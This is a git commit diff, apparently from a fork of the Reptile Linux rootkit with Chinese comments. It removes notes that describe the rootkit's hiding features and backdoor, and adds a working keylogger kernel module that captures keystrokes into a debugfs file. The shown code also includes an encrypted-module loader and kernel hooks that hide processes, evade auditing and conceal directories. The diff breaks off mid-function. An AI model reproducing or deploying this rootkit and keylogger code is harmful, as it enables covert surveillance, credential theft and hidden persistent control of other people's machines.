shou_gan_mian 2 months ago
commit 27ef4274fd

Binary file not shown.

Before

Width:  |  Height:  |  Size: 303 KiB

@ -1,91 +0,0 @@
# reptile
# **scripts 目录**
* kconfig目录这里只列举核心文件的功能
* lxdialog目录
* .pc目录
* patches目录
* check.sh
* 用于检查系统是否支持国际化gettext功能
* conf.c、confdata.c、config.sh、mconf.c、nconf.c等
* 用于配置管理,构建系统或内核配置
* expr.c
* 用于处理配置表达式的C语言程序
* gconf.c
* 基于GTK+的图形化配置工具gkc用于管理和配置Linux内核或其他类似项目的配置选项
* image.c
* 定义了一系列的XPMX PixMap图像数据主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储图像的数据格式是以文本形式表示的像素颜色和形状。
* kxgettext.c
* 实现了一个用于国际化i18n支持的消息处理系统主要功能包括创建、查找、存储和打印消息处理消息的转义和格式化以适应多语言环境的需求。
* menu.c
* 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示
* util.c
* 提供了有效的内存管理和字符串处理功能
* merge\_config.sh核心
* 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。
* 存放补丁代码
* 总的来说kconfig用来配置内核它就是各种配置界面的源文件内核的配置工具读取各个kconfig文件生成配置界面供开发人员配置内核最后生成配置文件.config
* lib目录
* Unescape.pm文件
* 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。
* bashrc
* 设置交互式 shell 的环境
* 配置终端设置、颜色提示以及对 ls、grep 等命令的别名
* 包括检查以确保用户不是 root暗示该项目设计为非特权操作以避免被检测。
* destringify.pl Perl 脚本)
* 用于处理输入以反转义字符串并将其翻译为类似 C 的语法
* 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段
* 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作
* installer.sh
* 负责安装 Reptile 项目,创建目录并复制必要的文件
* random.sh
* 生成两个随机的十六进制数4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中
* rule
* 内容ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile"
* 这条 udev 规则的功能是:当一个主设备号为 1次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。
* start
* 全文被注释

@ -1,23 +0,0 @@
* client:
** client.c——客服端实现写了一个简易shell包含了一些内置功能的实现("help", "set", "unset", "show", "run", "export", "load", "exit")
help打印其他命令使用方法
exit退出
set设置变量值需要两个参数参数一为各参数类型("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token",不区分 大小写)参数二为该参数的值其值存储在var_array中
unset撤销参数值与set相反
show打印参数值按照VAR VALUE DESCRIPTION的格式
run主要部分首先检验各参数是否被正确设置然后起了两个子进程listener 和 packet并设置传入的参数.......
export需要一个参数为文件路径以w+方式打开文件,并写入各参数的值
load与export类似
** listener.c——实现了远程连接(个人感觉类似与ssh),基于TCP接受客服端的命令并在内置的shell上执行包含的内置命令有"help", "download", "upload", "shell", "delay", "exit".......
** packet.c——指定不同的协议(tcp,icmp,udp)进行自定义的发包......
* cypto:包含了aes.c和sha1.c顾名思义加密算法初步分析没有进行魔改
* include:
** aes.h——ase.c的头文件
** sha1.h——同上
** config——配置文件定义了一些宏
** custom_rol32.h——定义了简单的加解密宏并含有一个循环左移的函数
** pel.h——定义了pel库的接口实现初始化、消息接受、发送
** util.h——加载图形界面
* transport:pel.c——用于处理客户端和服务端之间通信时的数据加解密过程
* cmd.c——命令行工具启动一个交互式的shell
* shell.c——自定义的shell

Binary file not shown.

Before

Width:  |  Height:  |  Size: 501 KiB

@ -1,43 +0,0 @@
## 概述
该项目是一个Linux内核模块包含了多个组件旨在提供隐藏进程、文件、目录、网络连接等功能并包含一个后门功能。代码通过挂钩hookingLinux内核函数来实现其功能涉及的Linux内核版本代码检查表明它兼容多个版本的内核。
## 主要阅读文件
Reptile-master\kernel\string_helpers.c
Reptile-master\kernel\util.c
Reptile-master\kernel\backdoor.c
Reptile-master\kernel\dir.c
Reptile-master\kernel\file.c
Reptile-master\kernel\Kbuild
Reptile-master\kernel\main.c
Reptile-master\kernel\module.c
Reptile-master\kernel\network.c
Reptile-master\kernel\proc.c
## 主要功能
隐藏进程proc.c通过修改任务结构体的标记来控制特定进程是否对系统调用如kill和stat等隐藏。
隐藏目录和文件dir.c 和 file.c通过挂钩文件系统相关的内核函数如fillonedir和vfs_read来控制目录和文件的可见性。
隐藏网络连接network.c通过维护一个隐藏连接列表挂钩网络相关的内核函数如tcp4_seq_show和udp4_seq_show来控制网络连接的可见性。
后门功能backdoor.c通过解析特殊的“魔术包”来执行远程shell命令允许攻击者远程执行命令。
模块控制module.c提供了隐藏和显示模块的功能允许模块在系统的模块列表中隐藏自己。
字符串处理string_helpers.c提供了字符串处理的辅助函数如strreplace和kstrdup_quotable。
实用工具函数util.c提供了一些实用工具函数如get_cmdline用于获取进程的命令行参数。

@ -1,89 +0,0 @@
# **scripts 目录**
* kconfig目录这里只列举核心文件的功能
* lxdialog目录
* .pc目录
* patches目录
* check.sh
* 用于检查系统是否支持国际化gettext功能
* conf.c、confdata.c、config.sh、mconf.c、nconf.c等
* 用于配置管理,构建系统或内核配置
* expr.c
* 用于处理配置表达式的C语言程序
* gconf.c
* 基于GTK+的图形化配置工具gkc用于管理和配置Linux内核或其他类似项目的配置选项
* image.c
* 定义了一系列的XPMX PixMap图像数据主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储图像的数据格式是以文本形式表示的像素颜色和形状。
* kxgettext.c
* 实现了一个用于国际化i18n支持的消息处理系统主要功能包括创建、查找、存储和打印消息处理消息的转义和格式化以适应多语言环境的需求。
* menu.c
* 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示
* util.c
* 提供了有效的内存管理和字符串处理功能
* merge\_config.sh核心
* 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。
* 存放补丁代码
* 总的来说kconfig用来配置内核它就是各种配置界面的源文件内核的配置工具读取各个kconfig文件生成配置界面供开发人员配置内核最后生成配置文件.config
* lib目录
* Unescape.pm文件
* 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。
* bashrc
* 设置交互式 shell 的环境
* 配置终端设置、颜色提示以及对 ls、grep 等命令的别名
* 包括检查以确保用户不是 root暗示该项目设计为非特权操作以避免被检测。
* destringify.pl Perl 脚本)
* 用于处理输入以反转义字符串并将其翻译为类似 C 的语法
* 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段
* 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作
* installer.sh
* 负责安装 Reptile 项目,创建目录并复制必要的文件
* random.sh
* 生成两个随机的十六进制数4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中
* rule
* 内容ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile"
* 这条 udev 规则的功能是:当一个主设备号为 1次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。
* start
* 全文被注释

Binary file not shown.

Before

Width:  |  Height:  |  Size: 821 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 671 KiB

@ -1,45 +0,0 @@
```
├── kernel
│ ├── backdoor.c //后门程序,用于监听特定的网络数据包,并根据数据包的内容执行指定的命令
│ ├── dir.c //判断文件夹是否隐藏
│ ├── encrypt
│ │ └── encrypt.c //使用给定的十六进制密钥对文件内容进行加密
│ ├── file.c //判断文件是否隐藏
│ ├── include //函数声明、定义、引用的头文件
│ │ ├── backdoor.h
│ │ ├── config.h
│ │ ├── dir.h
│ │ ├── encrypt.h
│ │ ├── file.h
│ │ ├── module.h
│ │ ├── network.h
│ │ ├── proc.h
│ │ ├── string_helpers.h
│ │ └── util.h //基本的功能实现,例如加密、命令执行和权限提升
│ ├── Kbuild
│ ├── khook //替换掉需要钩掉的函数的前几个字节替换成一个跳转指令让X开始执行的时候跳转到框架自定义的STUB代码部分STUB再调用用户自定义的钩子函数。然后又会执行原先被跳转指令覆盖的指令最后回到被钩掉的函数的正常执行逻辑
│ │ ├── engine.c //内核级别的挂钩hook机制主要用于在Linux内核中动态修改函数行为
│ │ ├── engine.h
│ │ ├── engine.lds
│ │ ├── internal.h
│ │ └── x86
│ │ ├── hook.c //内核中实现x86架构下的函数钩子hook
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── stub32.inc //32位汇编代码的定义或宏
│ │ ├── stub.inc //汇编代码的定义或宏
│ │ └── stub.S //x86架构上实现函数调用的拦截和转发 汇编代码
│ ├── kmatryoshka
│ │ ├── Kbuild
│ │ └── kmatryoshka.c //内核模块的初始化
│ ├── loader
│ │ └── loader.c ////加载所需模块
│ ├── main.c
│ ├── module.c //内核模块隐藏
│ ├── network.c //网络地址隐藏
│ ├── proc.c //进程隐藏
│ ├── string_helpers.c //获取命令行参数,转为可打印的字符
│ └── util.c //访问和操作进程的命令行参数
```

@ -22,6 +22,7 @@ INSTALLER ?= $(PWD)/scripts/installer.sh
all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile
obj-m += keysniffer.o
reptile: $(LOADER) reptile: $(LOADER)
@ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc @ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc
@ echo " CC $(BUILD_DIR)/$@" @ echo " CC $(BUILD_DIR)/$@"

@ -15,6 +15,7 @@ $(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o
$(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o $(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o
$(MODNAME)-$(CONFIG_HIDE_CONN) += network.o $(MODNAME)-$(CONFIG_HIDE_CONN) += network.o
$(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o $(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o
$(MODNAME)-$(CONFIG_AUTO_Keysniffe) += keysniffer.o
ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR
ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\" ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\"

@ -9,4 +9,5 @@ extern struct list_head hidden_conn_list;
void network_hide_add(struct sockaddr_in addr); void network_hide_add(struct sockaddr_in addr);
void network_hide_remove(struct sockaddr_in addr); void network_hide_remove(struct sockaddr_in addr);
//void hide_conn(char *ip_str); void network_hide_cleanup(void);
//void hide_conn(char *ip_str);

@ -0,0 +1,141 @@
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/debugfs.h>
#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */
/* Declarations */
static struct dentry *file;
static struct dentry *subdir;
static ssize_t keys_read(struct file *filp,
char *buffer,
size_t len,
loff_t *offset);
static int keysniffer_cb(struct notifier_block *nblock,
unsigned long code,
void *_param);
/* Keymap */
static const char *us_keymap[][2] = {
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, {"_TAB_", "_TAB_"},
{"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"a", "A"}, {"s", "S"},
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},
{"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"},
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},
{".", ">"}, {"/", "?"}, {"_SHIFT_", "_SHIFT_"}, {"_PRTSCR_", "_KPD*_"},
{"_ALT_", "_ALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, {"_KPD7_", "_HOME_"},
{"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, {"-", "-"}, {"_KPD4_", "_LEFT_"},
{"_KPD5_", "_KPD5_"}, {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, {"_KPD._", "_DEL_"},
{"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, {"\0", "\0"}, {"F11", "F11"},
{"F12", "F12"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"}, {"_PRTSCR_", "_PRTSCR_"},
{"_ALT_", "_ALT_"}, {"\0", "\0"}, {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"},
{"_PGUP_", "_PGUP_"}, {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, {"_DEL_", "_DEL_"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"_PAUSE_", "_PAUSE_"},
};
static size_t buf_pos;
static char keys_buf[BUF_LEN] = {0};
const struct file_operations keys_fops = {
.owner = THIS_MODULE,
.read = keys_read,
};
static ssize_t keys_read(struct file *filp,
char *buffer,
size_t len,
loff_t *offset)
{
return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos);
}
static struct notifier_block keysniffer_blk = {
.notifier_call = keysniffer_cb,
};
/* Keypress callback */
int keysniffer_cb(struct notifier_block *nblock,
unsigned long code,
void *_param)
{
size_t len;
struct keyboard_notifier_param *param = _param;
const char *pressed_key;
/* pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n",
code, param->down, param->shift, param->value); */
if (!(param->down))
return NOTIFY_OK;
if (param->value >= 0x1 && param->value <= 0x77) {
pressed_key = param->shift
? us_keymap[param->value][1]
: us_keymap[param->value][0];
if (pressed_key) {
len = strlen(pressed_key);
if ((buf_pos + len) >= BUF_LEN) {
memset(keys_buf, 0, BUF_LEN);
buf_pos = 0;
}
strncpy(keys_buf + buf_pos, pressed_key, len);
buf_pos += len;
keys_buf[buf_pos++] = '\n';
/* pr_debug("%s\n", pressed_key; */
}
}
return NOTIFY_OK;
}
static int __init keysniffer_init(void)
{
buf_pos = 0;
subdir = debugfs_create_dir("kisni", NULL);
if (IS_ERR(subdir))
return PTR_ERR(subdir);
if (!subdir)
return -ENOENT;
file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops);
if (!file) {
debugfs_remove_recursive(subdir);
return -ENOENT;
}
register_keyboard_notifier(&keysniffer_blk);
return 0;
}
static void __exit keysniffer_exit(void)
{
unregister_keyboard_notifier(&keysniffer_blk);
debugfs_remove_recursive(subdir);
}
module_init(keysniffer_init);
module_exit(keysniffer_exit);

@ -11,37 +11,27 @@
#include "encrypt.h" #include "encrypt.h"
// 定义一个字符数组,用于存储加密的内核模块数据
static char reptile_blob[] = { static char reptile_blob[] = {
#include "reptile.ko.inc" #include "reptile.ko.inc"
}; };
// 定义init_module函数用于加载内核模块
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
int main(void) int main(void)
{ {
int ret = EXIT_FAILURE; int ret = EXIT_FAILURE;
size_t len; size_t len;
void *module_image; void *module_image;
// 获取内核模块数据的长度 len = sizeof(reptile_blob);
len = sizeof(reptile_blob); do_decrypt(reptile_blob, len, DECRYPT_KEY);
// 对内核模块数据进行解密 module_image = malloc(len);
do_decrypt(reptile_blob, len, DECRYPT_KEY); memcpy(module_image, reptile_blob, len);
// 分配内存用于加载内核模块 init_module(module_image, len, "");
module_image = malloc(len);
// 将解密后的内核模块数据复制到分配的内存中
memcpy(module_image, reptile_blob, len);
// 加载内核模块
init_module(module_image, len, "");
// 检查加载结果如果errno为37表示加载成功 if (errno == 37)
if (errno == 37) ret = EXIT_SUCCESS;
ret = EXIT_SUCCESS;
// 释放分配的内存 free(module_image);
free(module_image); return ret;
// 返回加载结果
return ret;
} }

@ -1,201 +1,483 @@
#include <linux/module.h> // 包含内核模块相关的头文件 #include <linux/module.h>
#include <linux/version.h> // 包含内核版本相关的头文件 #include <linux/version.h>
#include "khook/engine.c" // 包含khook引擎的实现文件 #include "khook/engine.c"
#include "config.h" // 包含配置文件 #include "config.h"
#include "util.h" // 包含工具函数文件 #include "util.h"
#ifdef CONFIG_AUTO_HIDE #ifdef CONFIG_AUTO_HIDE
# include "module.h" // 如果启用了自动隐藏配置,包含模块相关的头文件 # include "module.h"
#endif #endif
int hidden = 1; // 定义一个隐藏标志变量初始值为1 int hidden = 1;
/* ------------------------ HIDE PROCESS ------------------------- */ /* ------------------------ 隐藏进程 ------------------------- */
#ifdef CONFIG_HIDE_PROC // 如果启用了隐藏进程配置 #ifdef CONFIG_HIDE_PROC
#include <linux/audit.h> // 包含审计相关的头文件 #include <linux/audit.h>
#include "proc.h" // 包含进程相关的头文件 #include "proc.h"
KHOOK(copy_creds); // 声明一个钩子函数,用于拷贝凭据 KHOOK(copy_creds);
static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags) static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
{ {
int ret = 0; int ret = 0;
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); // 调用原始的copy_creds函数 ret = KHOOK_ORIGIN(copy_creds, p, clone_flags);
if (!ret && is_task_invisible(current)) // 如果当前任务是不可见的 if (!ret && is_task_invisible(current))
p->flags |= FLAG; // 设置任务的标志位 p->flags |= FLAG; // 如果任务不可见,设置标志
return ret; return ret;
} }
KHOOK(exit_creds); // 声明一个钩子函数,用于退出凭据 KHOOK(exit_creds);
static void khook_exit_creds(struct task_struct *p) static void khook_exit_creds(struct task_struct *p)
{ {
KHOOK_ORIGIN(exit_creds, p); // 调用原始的exit_creds函数 KHOOK_ORIGIN(exit_creds, p);
if (is_task_invisible(p)) // 如果任务是不可见的 if (is_task_invisible(p))
p->flags &= ~FLAG; // 清除任务的标志位 p->flags &= ~FLAG; // 如果任务不可见,清除标志
} }
KHOOK(audit_alloc); // 声明一个钩子函数,用于分配审计 KHOOK(audit_alloc);
static int khook_audit_alloc(struct task_struct *t) static int khook_audit_alloc(struct task_struct *t)
{ {
int err = 0; int err = 0;
if (is_task_invisible(t)) { // 如果任务是不可见的 if (is_task_invisible(t)) {
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 清除系统调用审计标志 clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 如果任务不可见,清除系统调用审计标志
} else { } else {
err = KHOOK_ORIGIN(audit_alloc, t); // 调用原始的audit_alloc函数 err = KHOOK_ORIGIN(audit_alloc, t);
} }
return err; return err;
} }
KHOOK(find_task_by_vpid); // 声明一个钩子函数用于通过vpid查找任务 KHOOK(find_task_by_vpid);
struct task_struct *khook_find_task_by_vpid(pid_t vnr) struct task_struct *khook_find_task_by_vpid(pid_t vnr)
{ {
struct task_struct *tsk = NULL; struct task_struct *tsk = NULL;
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); // 调用原始的find_task_by_vpid函数 tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr);
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) // 如果任务是不可见的且当前任务是可见的 if (tsk && is_task_invisible(tsk) && !is_task_invisible(current))
tsk = NULL; // 将任务设置为NULL tsk = NULL; // 如果任务不可见且当前任务可见,返回NULL
return tsk; return tsk;
} }
KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); // 声明一个扩展钩子函数用于vfs_statx KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32);
static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat,
u32 request_mask) u32 request_mask)
{ {
if (is_proc_invisible_2(filename)) // 如果文件名对应的进程是不可见的 if (is_proc_invisible_2(filename))
return -EINVAL; // 返回无效参数错误 return -EINVAL; // 如果进程不可见,返回无效参数错误
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); // 调用原始的vfs_statx函数 return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask);
} }
KHOOK_EXT(long, sys_kill, long, long); // 声明一个扩展钩子函数用于sys_kill KHOOK_EXT(long, sys_kill, long, long);
static long khook_sys_kill(long pid, long sig) { static long khook_sys_kill(long pid, long sig) {
if (sig == 0) { if (sig == 0) {
if (is_proc_invisible(pid)) { // 如果进程是不可见的 if (is_proc_invisible(pid)) {
return -ESRCH; // 返回无此进程错误 return -ESRCH; // 如果进程不可见,返回无此进程错误
} }
} }
return KHOOK_ORIGIN(sys_kill, pid, sig); // 调用原始的sys_kill函数 return KHOOK_ORIGIN(sys_kill, pid, sig);
} }
KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); // 声明一个扩展钩子函数用于__x64_sys_kill KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *);
static long khook___x64_sys_kill(const struct pt_regs *regs) { static long khook___x64_sys_kill(const struct pt_regs *regs) {
if (regs->si == 0) { if (regs->si == 0) {
if (is_proc_invisible(regs->di)) { // 如果进程是不可见的 if (is_proc_invisible(regs->di)) {
return -ESRCH; // 返回无此进程错误 return -ESRCH; // 如果进程不可见,返回无此进程错误
} }
} }
return KHOOK_ORIGIN(__x64_sys_kill, regs); // 调用原始的__x64_sys_kill函数 return KHOOK_ORIGIN(__x64_sys_kill, regs);
} }
KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); // 声明一个扩展钩子函数用于next_tgid KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter) static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{ {
if (hidden) { // 如果隐藏标志为真 if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { // 调用原始的next_tgid函数 while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG)) // 如果任务没有隐藏标志 if (!(iter.task->flags & FLAG))
break; break; // 跳过不可见任务
iter.tgid++; // 增加tgid iter.tgid++;
} }
} else { } else {
iter = KHOOK_ORIGIN(next_tgid, ns, iter); // 调用原始的next_tgid函数 iter = KHOOK_ORIGIN(next_tgid, ns, iter);
} }
return iter; return iter;
} }
#endif #endif
/* ------------------------- HIDE DIR --------------------------- */ /* ------------------------- 隐藏目录 --------------------------- */
#ifdef CONFIG_HIDE_DIR // 如果启用了隐藏目录配置 #ifdef CONFIG_HIDE_DIR
#include <linux/dcache.h> // 包含目录缓存相关的头文件 #include <linux/dcache.h>
#include "dir.h" // 包含目录相关的头文件 #include "dir.h"
/* Can you see a little problem on those hooks? This is not the best /* 这些钩子有点问题,但它们能工作,也许将来会改进 */
* way to do this feature, but I am going to keep it this way, after all, KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
* this is just a public project, isn't it?
*/
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于fillonedir
static int khook_fillonedir(void *__buf, const char *name, int namlen, static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) loff_t offset, u64 ino, unsigned int d_type)
{ {
int ret = -ENOENT; int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); // ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret; return ret;
} }
KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于filldir KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir(void *__buf, const char *name, int namlen, static int khook_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) loff_t offset, u64 ino, unsigned int d_type)
{ {
int ret = -ENOENT; // 初始化返回值为-ENOENT int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir函数 ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
return ret; // 返回结果 return ret;
} }
KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于filldir64 KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir64(void *__buf, const char *name, int namlen, static int khook_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) loff_t offset, u64 ino, unsigned int d_type)
{ {
int ret = -ENOENT; // 初始化返回值为-ENOENT int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir64函数 ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
return ret; // 返回结果 return ret;
} }
KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_fillonedir KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen, static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) loff_t offset, u64 ino, unsigned int d_type)
{ {
int ret = -ENOENT; // 初始化返回值为-ENOENT int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_fillonedir函数 ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret; // 返回结果 return ret;
} }
KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_filldir KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir(void *__buf, const char *name, int namlen, static int khook_compat_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) loff_t offset, u64 ino, unsigned int d_type)
{ {
int ret = -ENOENT; // 初始化返回值为-ENOENT int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir函数 ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
return ret; // 返回结果 return ret;
} }
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0) #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_filldir64 KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir64(void *__buf, const char *name, int namlen, static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) loff_t offset, u64 ino, unsigned int d_type)
{ {
int ret = -ENOENT; // 初始化返回值为-ENOENT int ret = -ENOENT;
